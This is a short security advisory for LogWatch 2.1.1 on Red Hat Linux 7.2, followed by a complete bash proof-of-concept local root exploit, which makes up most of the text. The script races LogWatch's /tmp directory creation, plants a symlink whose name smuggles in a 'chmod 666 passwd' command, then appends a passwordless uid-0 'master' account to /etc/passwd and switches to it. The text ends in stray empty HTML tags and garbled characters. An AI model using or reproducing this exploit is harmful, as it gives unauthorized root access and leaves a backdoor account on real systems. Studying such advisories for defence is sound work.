--- INTRO --- LogWatch is a customizable log analysis system. LogWatch parses through your system's logs for a given period of time and creates a report analyzing areas that you specify, in as much detail as you require. The collected results are reported to a chosen e-mail address, root by default. LogWatch 2.1.1 is a part of the Red Hat Linux 7.2 distribution, enabled by default and daily run by the cron daemon. --- PROBLEM --- On a system running LogWatch, a local user is able to gain unauthorized root access, due to a race condition during the temporary directory creation. --- EXPLOIT --- #!/bin/bash # # March 27 2002 # # logwatch211.sh # # Proof of concept exploit code # for LogWatch 2.1.1 # Waits for LogWatch to be run then gives root shell # For educational purposes only # # (c) Spybreak SERVANT="00-logwatch" # Logwatch's cron entry SCRIPTDIR=/etc/log.d/scripts/logfiles/samba/ echo echo "LogWatch 2.1.1 root shell exploit" echo '(c) Spybreak ' echo echo "Waiting for LogWatch to be executed" while :; do set `ps -o pid -C $SERVANT` if [ -n "$2" ]; then mkdir /tmp/logwatch.$2 ln -s $SCRIPTDIR'`cd etc;chmod 666 passwd #`' /tmp/logwatch.$2/cron break; fi done echo "Waiting for LogWatch to finish it's work" while :; do set `ps -o pid -C $SERVANT` if [ -z "$2" ]; then ls -l /etc/passwd|mail root echo master::0:0:master:/root:/bin/bash >> /etc/passwd break; fi done su master
<span id="7ztzv"></span>
<sub id="7ztzv"></sub>


<span id="7ztzv"></span><form id="7ztzv"></form>


<span id="7ztzv"></span>
    

      

        <address id="7ztzv"></address>
            

ÑÇÖÞÅ·ÃÀÔÚÏß